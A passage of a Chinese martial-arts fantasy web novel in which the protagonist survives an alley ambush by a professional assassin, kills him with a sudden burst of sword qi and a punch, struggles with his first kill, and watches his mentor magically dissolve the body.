几乎在同一瞬间,一种源自生命本能深处的、更深层次的、属于系统赋予的【危机感知】天赋,也如同烧红的铁针,狠狠刺入他的灵魂深处!全身的汗**在这一刻根根倒竖,心脏如同被一只无形而冰冷的大手狠狠攥紧,血液似乎都在瞬间凝固!
危险!极致的危险!致命的危险!
这感觉,与之前面对黑蛇会那些混混的乌合之众截然不同,与任何一次街头挑衅、利益冲突带来的威胁都天差地别!这是一种纯粹的、不加任何掩饰的、只为最有效率地收割生命而存在的赤裸杀意!
如同早已潜伏在阴影中,计算了千百次时机的毒蛇,终于在这一刻,亮出了它淬毒的致命獠牙!
思维甚至来不及运转,理智还在试图分析这突如其来的警报来源!
王大头的身体,却已经在无数次混元桩修炼和内力运转中形成的本能驱使下,先于意识做出了反应!
体内那江河般的内力以前所未有的狂暴速度轰然爆发,灌注双腿,拧转腰胯!
混元桩那扎根大地的沉稳与瞬间爆发的灵动在这一刻完美结合,让他千钧一发之际,身体硬生生向左侧做出了一个极限的、近乎违背人体工学的拧转规避动作!
“嗤——!”
一道冰冷的、几乎完全融入周遭夜色的乌光,如同死神无声的叹息,贴着他右肋的衣衫掠过!
那锋锐到极致的气息,甚至还未接触,就让他肋部的皮肤感到一阵刺骨的寒意和轻微的刺痛!衣衫被划开一道细长的口子。
一道黑影,如同真正的鬼魅,从他刚才位置的右后方阴影中悄无声息地扑出!
一击落空,那双冰冷的眸子里没有丝毫意外或情绪波动,手腕一翻,那道乌光,一柄不过小臂长短、两侧开刃、通体哑光毫无反光的奇特短刺,如同毒蛇一击不中后迅速收回的信子,以一个极其刁钻、狠辣的角度,再次抹向王大
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头因闪避而微微暴露的咽喉!速度快得在视网膜上只留下一道模糊的残影!
对方的目标明确到了极致,一击必杀!
没有任何废话,没有任何试探,没有任何多余的动作,所有的力量、速度、技巧,都凝聚在这索命的攻击之中!
王大头甚至没能完全看清袭击者的具体样貌,只能在那电光火石的交错间,捕捉到一双在黑暗中闪烁着冰冷、漠然光芒的眼睛!
那眼神,没有任何人类应有的情绪波动,没有愤怒,没有轻蔑,甚至没有杀意沸腾的狂热,只有对杀戮这项工作的纯粹专注和执行任务的绝对冷静,如同精密运转的**机器。
他凭借【危机感知】那近乎预知般的提前预警和内力瞬间爆发带来的超凡速度,险之又险地再次猛地仰头,颈椎发出细微的咯吱声,冰冷的短刺锋刃带着一股锐风,擦着他的喉结皮肤掠过,带起一阵火辣辣的刺痛感!
然而,袭击者的攻击如同早已计算好的连绵潮水,一环扣一环,第三击接踵而至!
那柄乌黑短刺在中途诡异地变向,由抹变捅,化作一道笔直的死亡线,直刺他因后仰而空门大开的心窝!动作流畅、狠辣到了极致,将杀戮简化成了一种残酷而高效的艺术!
王大头旧力已尽,新力未生,身形还在后仰的失衡状态,重心不稳,眼看已经无法完全避开这真正索命的一刺!
死亡的阴影瞬间将他笼罩。他只能凭借最后的本能,勉强拧动腰胯,尽量让开心脏要害,同时右臂灌注澎湃内力,肌肉贲张,仓促地、近乎徒劳地横拍向对方持刺的手腕,试图将这致命一击格挡开哪怕一寸的距离。
“噗!”
一声利刃切入血肉的闷响,在寂静的小巷中显得格外清晰。
短刺终究还是刺入了他的身体!
虽然因为那拼尽全力的格挡和最后一刻的闪避,锋刃险险偏离了心脏要害,但依旧在他右胸靠外侧的位置,留下了一道深可见骨的狰狞伤口!
温热的鲜血瞬间涌出,迅速染红了他浅色的衣衫,剧烈的疼痛如同潮水般冲击着他的神经!
但比剧痛更让王大头心惊的,是对方那恐怖的实力、鬼魅般的身法,以及那从头到尾毫无波澜、只为夺命而来的冷酷杀意!
借着巷口远处路灯微弱漫射过来的一点昏黄光晕,他能清晰地看到,那柄造型奇特、仿佛能吸收光线的乌黑短刺的锋刃上,正蜿蜒流淌着自己温热的鲜血。
而那双冰冷的、如同深潭寒冰的眼睛,依旧毫无波动地锁定着他,瞳孔中倒映着他略显狼狈的身影,如同在审视一个即将失去生命的猎物。
第42章:初战**,生死一线!
剧痛,如同烧红的铁钎,狠狠刺穿神经,但也像一盆冰水混合物,兜头浇下,让王大头从最初的惊骇与猝不及防中彻底清醒过来!求生的本能压倒了一切杂念!
他喉咙里发出一声压抑的低吼,脚下猛地蹬地,混元桩那扎根大地的深厚根基在此刻展现得淋漓尽致,硬生生止住了后仰失衡之势,同时腰胯发力,身体如同受惊的游鱼,贴着粗糙的地面向后急速滑出数米,与那道索命的黑影强行拉开了一丝微不足道的距离。
左手并指如风,迅速在右胸伤口周围的几处关键穴位上重重一点,精纯的内力透指而入,暂时封住了主要血管,减缓了鲜血涌出的速度。
直到此刻,借着这短暂喘息之机,他才真正看清了袭击者的全貌。
那是一个身材中等的男子,不高不矮,不胖不瘦,穿着深灰色的、几乎与巷道墙壁颜色融为一体的普通休闲装,年龄模糊,可能在三十到四十之间,面容极其普通,是那种即使擦肩而过数次也绝不会在记忆中留下任何印象的类型。
唯有一双眼睛,如同两口万年不化的冰井,深邃、冰冷,没有任何属于人类的情感色彩,只有绝对的精准和令人心底发寒的冷酷。
他手中那柄乌黑的短刺,造型流畅而诡异,线条带着一种专门为暗杀而设计的残忍美感,此刻正微微下垂,一滴殷红的血珠,顺着那特制的、不反光的锋锐刺尖,缓缓凝聚、拉长,最终滴落在满是灰尘的地面上,发出在寂静中放大了无数倍的、微不可闻却又惊心动魄的“滴答”声。
“反应不错。”男子的声音沙哑而平淡,没有任何语调起伏,像是在评价一件没有生命的工具,“能躲过我‘影刺’三招不死,你足以自傲了。”
他说话的同时,脚步如同最顶级的猫科动物捕猎般轻盈而富有韵律地移动着,看似随意,却精准地封堵着王大头可能向巷口或巷尾逃窜的每一个角度,气机如同无形的蛛网,将目标牢牢锁定。
这是一个经验丰富到可怕、将**技艺融入骨髓的职业**!远非之前遇到的任何对手可比!黑蛇会那些混混,在此人面前,简直如同拿着木棍玩耍的孩童。
王大头心头沉重如山,呼吸因为伤痛和内力剧烈消耗而变得有些急促。
他空有近二十年的精纯内力,八极拳也初窥门径,招式练得纯熟,但真正的、以命相搏的生死厮杀,尤其是与这种精通高效**技、从尸山血海中走出来的职业**对决,他的实战经验几乎是一片空白!
对方的速度、对时机的把握、出手角度的狠辣刁钻,以及对战斗节奏的绝对掌控,都远远超出了他之前的任何想象!
“林家派你来的?”王大头一边全力运转内力,试图缓解火辣辣的伤痛,加速恢复几近枯竭的体力,一边沉声问道。
他试图用话语干扰对方,哪怕只能争取到零点几秒的时间,同时脑海中的【初级因果洞察】以前所未有的速度疯狂运转,无数模糊的因果线在意识中明灭不定,他拼命地想要从中捕捉到对方的破绽,或者那冥冥中可能存在的一线生机。
“将死之人,何必多问。”代号“影刺”的**漠然回应,他甚至悠闲地抬起握着短刺的手,伸出舌头,带着一种令人极度不适的邪异和仿佛品尝珍馐般的姿态,轻轻舔舐了一下锋刃上属于王大头的、尚未完全凝固的鲜血。
那动作,充满了对生命的漠视和对自身杀戮权力的炫耀,带着极强的心理压迫力,意图如同毒液般渗透,扰乱王大头本就紧绷的心神。“你的血,味道一般。”他补充道,声音依旧平淡,却更显残忍。
话音未落的尾音还飘荡在空气中,影刺动了!
他不再给王大头任何调整和喘息的机会!
身形一晃,脚下步伐诡异莫测,如同鬼魅融入了阴影,再次以一种飘忽不定、难以捕捉轨迹的方式贴近!
这一次,他的攻击更加凌厉,手中的乌黑短刺划出一道道死亡弧线,时而如毒蛇出洞,直刺眼、喉、心等要害,时而如蜻蜓点水,削向手腕、脚踝、膝关节等能让人瞬间失去行动能力的部位!
每一招都简洁到了极致,也阴狠到了极致,没有任何多余的花哨,只有千锤百炼、追求最高效率的**术!
王大头打起十二分精神,将八极拳的刚猛暴烈与混元桩的沉稳厚重结合,内力灌注四肢,拳风呼啸,全力应对。
他内力雄厚,远超寻常武者,拳脚之间蕴含的力量极大,每一次与短刺的格挡碰撞,都发出沉闷如击败革的响声,强大的反震力让影刺握刺的手臂也感到阵阵发麻,眼中再次闪过一丝难以掩饰的讶异。他显然没料到,这个看似普通的年轻人,体内竟然蕴藏着如此强横霸道的力量。
然而,力量上的优势,在此刻并不足以转化为胜势。
影刺的实战经验太丰富了!他根本不与王大头硬碰硬,如同一条狡猾无比的泥鳅,总是能凭借诡异的身法和精准的预判,以毫厘之差避开王大头那势大力沉、开碑裂石般的凶猛攻击。
而他手中那柄乌黑的短刺,却如同附骨之疽,总能在王大头发力用老的瞬间,或者招式转换的间隙,从最刁钻、最意想不到的角度悄然出现,留下一道道或深或浅、火辣辣疼痛的血痕。
嗤!——衣袖被齐整地划开,手臂上添上一道寸许长
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的血痕,鲜血缓缓渗出。
嗤!——侧身闪避稍慢了半分,腰间侧腹被刺破皮肉,带来一阵钻心的疼痛。
嗤!——格挡的瞬间,短刺如同拥有生命般,诡异地绕过手臂的防御圈,险之又险地擦着咽喉皮肤掠过,带走一小片油皮,死亡的气息冰冷刺骨!
王大头空有沛然巨力,却像是挥舞着沉重的巨锤,拼命想要砸中一只灵活迅捷、身带剧毒的蚊子,有种无处着力、憋屈至极的挫败感。
对方的招式,将“快、准、狠、诡”发挥到了极致,完全是千锤百炼、用无数生命验证过的**术!
他赖以制胜、引以为傲的内力优势,在对方这种精妙绝伦的刺杀技巧和丰富到可怕的生死搏杀经验面前,竟被极大地削弱了,难以完全发挥出应有的威力!
他就像一个突然继承了庞大财富,却对金融市场一窍不通的菜鸟,面对一个手段老辣、经验丰富的金融狙击手,空有惊人的资本,却不知如何有效地运用、布局,只能被动地拆招、格挡、闪避,身上的伤口不断增多,鲜血在持续流失,体力在内力的快速消耗下也开始明显下降。
他的动作,因为失血和疲惫,不可避免地慢了细微的一丝。
就是这一丝几乎难以察觉的迟缓!
影刺那双冰井般的眼睛里,寒光骤然爆射!他等待、营造的就是这个猎物疲惫、露出破绽的瞬间!
身体如同失去了所有骨头般,猛地一个低俯前冲,速度快得拉出了一道淡淡的残影,精准地避开了王大头一记横扫千军、却因力竭而速度稍减的八极拳“斩拳”,手中那柄乌黑的短刺,如同黑暗中骤然亮起的毒牙,带着一股决绝的死亡气息,以一个自下而上、极其阴险刁钻的角度,直刺王大头小腹之下的气海丹田!
这一下若是刺实,内力瞬间溃散,全身瘫软,立刻就会失去所有抵抗能力,任人宰割!
王大头瞳孔骤然收缩成针尖大小,【危机感知】在他的灵魂深处发出濒临极限的疯狂尖啸!
他想要躲闪,想要格挡,但身体因为大量失血和之前超负荷的闪避动作,已经逼近了生理的极限,反应速度无可挽回地慢了那致命的半拍!
视野中,那点冰冷的乌光在急速放大,死亡的阴影浓郁得如同实质,将他彻底吞没!
就在这生死一线、间不容发的刹那,影刺那冰冷得没有任何温度、甚至带着一丝猫捉老鼠般残忍戏谑的声音,再次清晰地传入他的耳中,如同最后的丧钟:
“小子,能躲过我最初三招,已属侥幸。能逼我用出这招‘蛇噬’,你下到黄泉,也足以自傲了。”
“安心上路吧。”
第43章:护身剑气,绝境反杀!
冰冷的死亡触感,如同毒蛇的信子,已然透过单薄的衣衫,刺破了腹部的皮肤!
那柄乌黑短刺上凝聚的阴寒劲力,像是一支蓄势待发的冰箭,随时准备钻入他的气海,搅碎他苦修而来的内力根基,彻底终结他的生命。
影刺那双漠然如冰的眼睛里,甚至已经提前浮现出一丝任务即将完成的、近乎本能的松懈。在他丰富的杀戮经验中,这个年轻的目标虽然内力古怪雄浑,力量超出预期,带来了些许麻烦,但战斗意识与经验终究太过稚嫩。
在自己这招蓄势已久、角度刁钻到极致的“蛇噬”之下,气息已乱,身形失衡,旧力耗尽,新力未生,绝无任何幸免的可能。他仿佛已经看到短刺没入对方身体,感受到生命流逝时那细微的抽搐,听到那最后的、无意义的嗬嗬声。
王大头的思维,在这千钧一发的刹那,仿佛被某种力量无限拉长。
外界的一切都变成了慢动作,唯有感知被放大到极致。他能清晰地感受到那乌黑短刺锋刃上凝聚的、足以瞬间摧毁他所有生机的阴寒刺骨劲力。
能听到自己心脏因为极致危险而疯狂擂动,如同战鼓般敲击着耳膜;能闻到对方身上那混合着极淡血腥味和某种特殊清洁剂的、属于顶尖职业**的冷冽气息,甚至能分辨出空气中尘埃与老旧墙壁散发出的潮湿霉味。
无数念头如同浮光掠影般闪过脑海:家乡父母日渐苍老却充满期盼的面容;龙门药膳店内,李雅锁门时那温柔又带着一丝疲惫的微笑;张猛、阿杰、小斌他们信赖的眼神;赵师傅谆谆教导时严肃的神情;还有那未曾攀登至巅峰的武道之路……一切的一切,难道就要在今天,在这个无名阴暗的小巷里,戛然而止?
要**吗?
不!绝不!
一股源自生命最原始本能的、混合着对亲人挚友的不舍、对未竟事业的不甘、对自身武道之路的执着,以及对林家这般肆意妄为的愤怒的强烈意志,如同被压抑到极致的火山,在他心底轰然爆发!
这股意志炽热而纯粹,带着一往无前的决绝!他绝不容许自己倒在这里,倒在林家派来的**手中,让所有关心他的人失望,让亲者痛,仇者快!
就在这意志燃烧到顶点,几乎要冲破躯壳束缚的刹那——
“嗡!”
一声并非来自外界,而是源自他灵魂深处、丹田气海之内的奇异震鸣响起!
他体内那一直如同沉睡巨龙般潜伏在经脉最深处、平日里即便全力催动内力也难以引动分毫的【护身剑气】,仿佛被这极致的死亡危机和那燃烧一切的求生意志所引动,骤然苏醒!
一股凌厉无匹、锋锐难当、带着斩断一切阻碍与束缚的决绝气息,不受控制地从他丹田最核心处炸开!如同沉寂万载的火山一朝喷发,又如同被压缩到极致的宇宙奇点猛然膨胀!
这道气息无形无质,肉眼难见,却带着实质般的切割意志,它并非沿着他熟悉的周天路线运行,而是以一种他完全无法理解的方式,顺着经脉窍穴,以前所未有的速度和摧枯拉朽的力量,轰然透体而出!目标,精准无误地指向那即将彻底刺入他气海、持握着死亡乌光的——手腕!
“噗——!”
一声轻微却足以让灵魂战栗的、如同烧红的利刃切入凝固油脂般的声响,在寂静的小巷中显得格外清晰!
影刺脸上那一丝即将完成任务般的松懈,瞬间彻底凝固!如同精美的瓷器表面出现了无数裂痕,随即转化为极致的、无法置信的惊骇!
他感觉自己的手腕处传来一阵难以形容的、仿佛被高速旋转的钻头瞬间贯穿、撕裂、绞碎的剧痛!
那凝聚了他全身精气神、阴狠刁钻、足以洞穿钢板的“蛇噬”一击,所有的力道、杀意、技巧,在接触到那道突如其来的、无法理解的锋锐气息面前,如同阳光下的冰雪,瞬间土崩瓦解,消散于无形!
他持刺的右手手腕处,一个拇指粗细、边缘光滑得诡异、前后通透的血洞赫然出现!
骨骼、经脉、肌肉、血管,在那道无形剑气掠过的瞬间,就被其中蕴含的恐怖剑意彻底绞成了齑粉!乌黑的短刺再也无法握持,“哐当”一声,掉落在冰冷而粗糙的水泥地上,发出清脆又令人心寒的声响。
“呃啊——!”影刺发出一声短促而压抑到极致的痛苦闷哼,这突如其来的、完全超出认知范畴的重创,让他那如同万年寒冰般冻结的心境,出现了巨大的、难以弥补的裂痕!
他踉跄着向后跌退,左手下意识地死死捂住那如同小型喷泉般汩汩涌出鲜血的断腕伤口,看向王大头的眼神,充满了前所未有的惊骇、茫然,以及一丝……深入骨髓的恐惧!
那是什么?!内力外放?化劲宗师的罡气?不!绝不可能!
就算是化劲宗师的内力外放,也绝无如此凝练、如此锋锐、如此……充满纯粹毁灭性剑意!这更像是一种……传说中的力量!这小子身上,到底隐藏着什么秘密?!
机会!
王
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大头虽然同样被体内突然爆发的这股恐怖力量所震惊,那股剑气透体而出的瞬间,他甚至感觉自己整个身体都被掏空了一部分,右胸的伤口也因此被牵扯,传来钻心的剧痛。
但历经生死边缘锤炼出的战斗本能,让他清晰地意识到——这是唯一的机会!生死搏杀,胜负往往就在这电光火石的一瞬之间!
他强忍着身体各处传来的剧痛和内力几乎耗尽的虚脱感,将体内残余的所有内力,毫无保留地、疯狂地灌注于蓄势待发的左拳之上!八极拳中最刚猛、最暴烈、讲究以硬碰硬、以强破强的杀招——立地通天炮!
“轰!”
脚下猛然蹬地,混元桩的根基在这一刻爆发出最后的潜力,地面仿佛都微微震颤了一下!身体如同一张绷紧到极致后猛然释放的强弓,挟带着一股一往无前、舍我其谁、玉石俱焚的惨烈气势,悍然冲出!
左拳如同挣脱了束缚的出膛炮弹,撕裂沉闷的空气,带着隐隐滚动的风雷之声,以迅雷不及掩耳之势,结结实实地、毫无花哨地轰在了因为手腕被废、剧痛钻心、心神彻底失守而空门大开的影刺胸膛正中间!
“嘭!!!”
一声沉闷如巨锤擂响败革,却又隐含胸骨碎裂的可怕“咔嚓”声,在寂静的小巷中轰然爆开!声音沉闷而有力,远远传了下去,甚至引起了远处几声野猫的惊叫。
影刺的胸膛以肉眼可见的速度,清晰地凹陷下去一大块!他双眼猛地向外凸出,布满了狰狞的血丝,脸上那惊骇与难以置信的表情彻底凝固,仿佛见到了世间最不可思议的景象。
他整个人被这股沛然莫御的巨力打得双脚离地,如同一个被狂风抛起的破旧麻袋,向后倒飞出去,“砰”地一声重重撞在后方那面斑驳不堪、布满苔藓的墙壁上,震落下簌簌灰尘,然后才软软地滑落在地,瘫成一团模糊的阴影。
他瘫在墙根下,身体还在无意识地微微抽搐着,似乎还想挣扎着抬起头,看清那个一步步走近的、本该是他猎物的身影。
喉咙里发出“嗬嗬”的、漏气般无意义的声音,大量的鲜血混合着内脏碎片,不断从他口鼻中涌出,染红了他灰色的衣襟和身下的地面。
他的目光涣散,却依旧死死地、执拗地锁定着王大头,那眼神中充满了极致的不甘、深深的困惑,以及一种对未知力量的恐惧,用尽生命最后的一丝气力,断断续续地吐出几个模糊而破碎的字眼:
“…剑…气…你…到底…是…”
第44章:首次**,心境波澜
话未说完,头颅猛地向旁边一歪,眼中最后那点残存的神采如同风中残烛般彻底熄灭,气息断绝。
直到此刻,那道护身剑气爆发所带来的、弥漫在空气中的无形凌厉气息,才缓缓消散,仿佛从未出现过。小巷内,重新被深夜的死寂所笼罩,只剩下浓重得令人作呕的血腥味,以及王大头自己粗重得如同破风箱般、压抑不住的喘息声。
他站在原地,身体微微晃动,几乎脱力。右胸的伤口因为最后的爆发,鲜血再次大量涌出,顺着手臂滴落在地,发出“滴答、滴答”的轻响,在这寂静中显得格外刺耳。
当致命的威胁解除,高度紧绷的神经骤然松弛,之前被肾上腺素强行压制的剧烈疼痛和排山倒海般的疲惫感,如同决堤的洪水,瞬间席卷了王大头的全身每一个角落。
他眼前一阵发黑,踉跄了一下,连忙伸出沾满鲜血和灰尘的右手,扶住旁边冰冷而粗糙的墙壁,指甲几乎要抠进砖缝里,才勉强支撑住没有倒下。
右胸的伤口火辣辣地疼,每一次呼吸都牵扯着伤处,带来撕裂般的痛楚。身上其他被短刺划破的地方,也如同被无数细小的火焰灼烧,疼痛细密而清晰。但奇异的是,在这一刻,这些肉体的痛苦仿佛隔着一层薄膜,变得有些遥远和不真实。
他的目光,不受控制地、带着一种近乎茫然的情绪,落在了几米外,那个瘫软在墙根阴影下,已经彻底失去所有生息的躯体上。
影刺的尸体保持着死前最后一刻的姿势,胸膛那不自然的塌陷清晰可见,右手手腕处那个恐怖的血洞虽然流血速度减缓,但依旧在缓缓渗出暗红色的液体,将他身下那一小片地面染成了深褐色。
他那双曾经如同冰井般冷漠、没有任何情感波动的眼睛,此刻空洞地、毫无焦点地圆睁着,残留着生命最后一刻的惊骇与极致的不解,直勾勾地“望”着被巷子两侧建筑切割成一条细线的、昏暗无星的夜空,或者说,是穿透了夜空,“望”着站在他面前的王大头。
**。
一个活生生的、呼吸着的、拥有强大力量和丰富战斗经验的人,一个几分钟前还在以各种精妙狠辣、匪夷所思的招式,如同附骨之疽般试图夺取他性命的职业**,此刻,变成了一具正在逐渐失去温度、变得僵硬、毫无生命气息的尸体。
而终结他生命的,是自己。是自己体内那股不受控制爆发出的剑气,是自己那凝聚了最后力量、轰碎其胸膛的一拳。
一股难以言喻的、复杂至极的情绪,猛地冲上了王大头的心头,堵塞在胸口,让他感到一阵窒息般的闷痛。
胃里开始不受控制地翻江倒海,强烈的恶心感直冲喉头,他干呕了几下,却什么也吐不出来,只有酸涩的胆汁味道在口腔中弥漫。喉咙像是被什么东西死死扼住,呼吸变得异常艰难而急促。扶着墙壁的手指,因为过度用力而指节发白,并且不受控制地微微颤抖起来。
这是他第一次……**。
不同于在拳台上遵循规则、以击倒为目的的较量,也不同于教训陈少派来的那些混混、以制服和威慑为主。这是真正的、赤裸裸的、以彻底夺取对方生命为目的,并且成功了的杀戮。是文明社会道德准则中最深重的禁忌之一。
一条不久前还鲜活的人命,在他手中,以最暴烈的方式,终结了。
一种源自从小所受教育、源自现代社会秩序烙印在骨子里的、本能的排斥与强烈不适,让他感到一阵阵的心悸和恍惚,甚至有一丝荒谬感。
他甚至能清晰地回忆起,那道护身剑气洞穿对方手腕时,那并非通过触觉,而是通过某种更深层次感应到的、细微却无比清晰的“切割”触感;以及自己的拳头轰碎对方胸骨时,那透过拳面传来的、沉闷而可怕、带着骨骼碎裂声的反饋力量。
这就是……真正的武道之路吗?充满了如此直接而血腥的杀戮?力量的增长,必然要伴随着生命的逝去吗?自己追求的,到底是什么?
他痛苦地闭上眼睛,试图驱散脑海中的影像,但影刺那双冰冷的眼睛,他舔舐短刺上鲜血那邪异而令人毛骨悚然的一幕,那招招致命、毫不留情、如同疾风骤雨般的攻击……所有的画面反而更加清晰地浮现出来,如同梦魇般纠缠不休。
如果……如果不是那护身剑气在最后关头自动激发,那么现在躺在地上,逐渐冰冷、僵硬,失去所有未来和可能的,就是他自己!
他的父母将承受白发人送黑发人的彻骨之痛,龙门药膳刚刚起步的希望将瞬间崩塌,李雅会如何的伤心欲绝?张猛、阿杰、小斌他们又
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将何去何从?赵师傅的期望,自己心中那份想要变强、想要守护什么的信念……所有的一切,都将因为自己的死亡而化为泡影!
是对方要杀他在先!是林家仗势欺人、步步紧逼!他只是在自卫!是在绝境中挣扎求生!是在守护自己珍视的一切和身边的人!
难道要他不做任何抵抗,引颈就戮,才是所谓的“正道”吗?才是对生命的尊重吗?不!那是对自己和所爱之人生命的极度不负责任!是对恶行的纵容!
那种因为初次**而产生的生理性恶心和心理性不适,渐渐被一种冰冷的、劫后余生的后怕,以及一种更加冰冷的、认清现实后的决绝所取代。他重新睁开眼睛,再次看向那具尸体时,眼神中的迷茫和剧烈波动已经褪去了大半,取而代之的是一种经历过真正生死洗礼后、从内而外透出的坚定与冷冽。
这个世界,远比他之前想象的更加残酷和直接。有些规则,不是你想避开就能避开的,有些风雨,不是你想躲就能躲掉的。树欲静而风不止!你不**,人就要杀你!尤其是在触及到某些利益,或者当你展现出足够引起他人忌惮的潜力时。
对敌人的仁慈,就是对自己和身边人的残忍!这一刻,他对这句话有了刻骨铭心的理解。
他缓缓地、坚定地直起身,尽管伤口依旧传来阵阵剧痛,身体虚弱不堪,但他的脊梁却挺得笔直,如同风雪中屹立不倒的青松。
巷口吹来的夜风,带着浓重的血腥味和深秋的寒意,拂过他染血的脸颊和凌乱的发丝,带来刺骨的冰凉,却也让他混乱的头脑更加清醒。
他深深地吸了一口这冰冷而带着浓郁铁锈味的空气,仿佛要将胸腔里所有软弱的、犹豫的情绪彻底排出体外,声音低沉而沙哑,却带着不容置疑的坚定,像是在对脚下的尸体宣告,又像是在对自己未来的武道之路宣誓:
“武者之路,不容退缩。阻我道者,……皆可杀!”
就在王大头站在原地,努力平复着激荡的心绪,同时运转微薄的内力,试图再次压制右胸伤口流血之时,一个苍老而沉稳、仿佛带着岁月沉淀下来的宁静力量的声音,带着一丝不易察觉的关切,从小巷另一端、影刺尸体所在的方位传来。
“看来,老夫还是来晚了一步。”
第45章:赵师傅善后,武者之心
王大头心中猛地一凛,霍然转头!体内残存的内力下意识地提起,戒备地望向声音来源。只见巷子阴影深处,赵师傅不知何时,已经如同鬼魅般悄无声息地站在那里。
他依旧提着那个古朴的竹制鸟笼,身上穿着那件洗得有些发白的藏蓝色旧式练功服,脚下是千层底布鞋,仿佛只是一位深夜失眠,出来遛鸟散心的普通老人,偶然路过这条充满血腥的小巷。
但王大头知道,这绝不可能只是巧合。以赵师傅的神秘和对他隐约的关注,此刻出现,必有缘由。
赵师傅的目光先是如同最精准的尺子般,快速扫过王大头身上多处伤口、被鲜血浸透的衣衫以及他苍白却异常坚定的脸色,眉头几不可察地微微蹙起,闪过一丝担忧。
随即,他那锐利如鹰隼般的目光,便落在了墙根下影刺那具死状凄惨的尸体上,眼神瞬间变得凝重而深邃。
“林家的‘影刺’?”赵师傅缓步走近,脚步轻得几乎没有声音。他蹲下身,丝毫不顾忌地上的血污,目光如同手术刀般,仔细检查着影刺手腕处那个诡异的、边缘光滑的血洞,以及那塌陷下去的胸膛。
他的手指在离伤口寸许远的空中虚按了几下,仿佛在感受着什么残留的气息,眼中闪过一丝明显的讶异,但很快又恢复了古井无波的平静。“你能杀了他?”他的语气平淡,听不出太多情绪,更像是一种基于事实的确认,而非质疑。
王大头面对赵师傅,没有隐瞒的必要,也无从隐瞒。他点了点头,声音因为脱力和伤痛而有些沙哑:“是。但更多是侥幸。最后关头,不知如何引动了体内一股不受控制的力量,一股……剑气,自行爆发,废了他持兵刃的手,我才找到机会,以八极拳反击。”
“护身剑气?”赵师傅眼中精光一闪,如同暗夜中划过的闪电,他抬起头,深深看了王大头一眼,那目光仿佛要穿透他的身体,看清他体内隐藏的所有秘密。
但他并没有追问这剑气究竟从何而来,每个人都有自己的机缘和秘密,强求追问反而不美。
他重新将注意力放回尸体,尤其是那个手腕的血洞,沉吟片刻,道:“干净利落,一击毙命。是剑气无疑,而且……品阶极高,绝非寻常内力所能演化。”他站起身,语气带着一丝显而易见的凝重,“林家连精心培养的‘影刺’都派出来了,看来是真的对你起了必杀之心,或许不仅仅是因为药膳坊的冲突那么简单。这次失败,对他们而言是损失,也绝不可能就此罢休。你要有心理准备,接下来的麻烦,只会更大。”
他话锋一转,目光重新落在王大头身上,不再是审视尸体时的锐利,而是带着一种长者对后辈的探询与考较:“感觉如何?”他问的,显然是**之后的心境。
王大头沉默了一下,没有立刻回答。他仔细体察着自己内心的情绪,那些恶心、后怕、茫然,以及后来的坚定与冷冽,交织在一起。
他抬起头,迎着赵师傅那仿佛能看透人心的目光,如实说道:“不太好。恶心,后怕,心里很乱……但,经过这件事,更多的是明白了一些以前只是听说,却从未真正理解的道理。”
赵师傅闻言,脸上看不出喜怒,只是微微颔首,那双阅尽沧桑的眼睛里,似乎掠过一丝不易察觉的欣慰。他缓缓开口,声音不高,却如同黄钟大吕,一字一句敲响在王大头的心间:
“第一次亲手终结生命,有此反应,实属正常。这说明你本性良善,心中自有是非尺规,未失赤子之心与对生命的敬畏。这是好事,是武者立足的根基之一。但你要记住,”
他的声音陡然变得严肃而深沉,带着一种穿越了无数风雨、洞悉世情的智慧:
“武道修行,追求的是自身力量的超脱与生命的升华,绝非为了滥杀无辜,逞凶斗狠。然而,世间并非只有光明,树欲静而风不止。在这红尘浊世,纷争不断,杀伐,有时是不可避免的、最直接也是最无奈的手段。但其根本,在于‘护道’!”
“何为‘护道’?”赵师傅的目光如同两盏明灯,照亮王大头有些迷茫的心田,“护持本心之道,不为力量所迷,不为杀戮所惑;护持亲朋之道,不容他人欺凌伤害;护持心中所坚持的正义与底线!明辨是非,知晓善恶。杀该杀之人,斩该斩之恶!”
“而非被力量所支配,沉迷于杀戮的快感,沦为只知破坏与毁灭的机器,那样与野兽何异?与这‘影刺’之流,又有何本质区别?守住内心这份清明与本心,明白自己为何而执剑,为何而出拳,方能真正驾驭力量,而不被力量所奴役、所异化。如此,方为真正的强者!方能在这条漫长的武道之路上,走得更高,更远!”
这番话,如同醍醐灌顶,又如同汹涌波涛中的灯塔,瞬间驱散了王大头心中因为首次**而产生的最后一丝阴霾和不确定。将他那刚刚树立起的、略带偏激的“阻我道者皆可杀”的念头,引导向了一个更加清晰、更加坚定、也更加宏大的方向。
是啊,杀伐是手段,是工具,而非目的本身。他的目的,始终是守护!
守护家人的平安喜乐,守护兄弟朋友的信任追随,守护龙门这份凝聚了众人心血的事业与希望,守护自己心中那份不愿同流合污、追求更强武道的坚持!
任何试图摧毁这些他视若珍宝之物的人或势力,才是他剑锋所指、拳下所镇之敌!而在这个过程中,必须时刻警惕,不让杀戮本身蒙蔽了初心。
“我明白了,赵师傅。”王大头郑重点头,眼神中那丝因为首次**而产生的波澜彻底平复,取而代之的是一种更加沉稳、更加通透、也更加坚定的光芒,仿佛经历了一次心灵的洗礼与蜕变。
赵师傅见他眼神恢复清明,并且隐隐有所领悟,这才微微颔首,脸上露出一丝极淡的、几乎看不出的满意神色。“明白就好。此地不宜久留,血腥气太重,很快会引来不必要的麻烦。”
他说完,不再多言。只见他从怀中取出一个不过寸许高、看似普通的小巧白玉瓷瓶,拔开同样是玉石打磨的塞子,小心翼翼地倾斜瓶口,将一些近乎透明、无色无味的细腻粉末,均匀地撒在影刺的尸体、周围大片的血迹,以及那柄掉落在地的乌黑短刺上。
那粉末一
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接触到血肉和金属,立刻发出极其轻微的“滋滋”声响,仿佛冰雪遇到烈阳。
尸体、血迹、短刺,竟以肉眼可见的速度迅速消融、汽化,不过几个呼吸的功夫,便化作了一滩淡淡的、带着些许异样气味的黄水,随即那黄水也迅速蒸发、消散,最终,连同那点异味一起,彻底消失得无影无踪。
原地只剩下略显潮湿的地面和墙壁上那点撞击的痕迹,仿佛刚才那场惊心动魄的生死搏杀,那具冰冷的尸体,都只是一场幻觉。
毁尸灭迹,手法之娴熟、效果之彻底、过程之平静,仿佛只是拂去桌面上的一点灰尘,显然绝非第一次做类似的事情。
王大头在一旁看得心头微震,对赵师傅那看似平凡的遛鸟老人形象背后,所隐藏的深不可测的过往和秘密,更加好奇,也更多了一份敬畏。这位老人,年轻时代必然经历过难以想象的风浪。
处理完现场,赵师傅像是做了一件微不足道的小事,轻轻拍了拍手,拂去并不存在的灰尘,看向王大头:“能自己走吗?需要老夫扶你一把否?”语气恢复了平常的淡然。
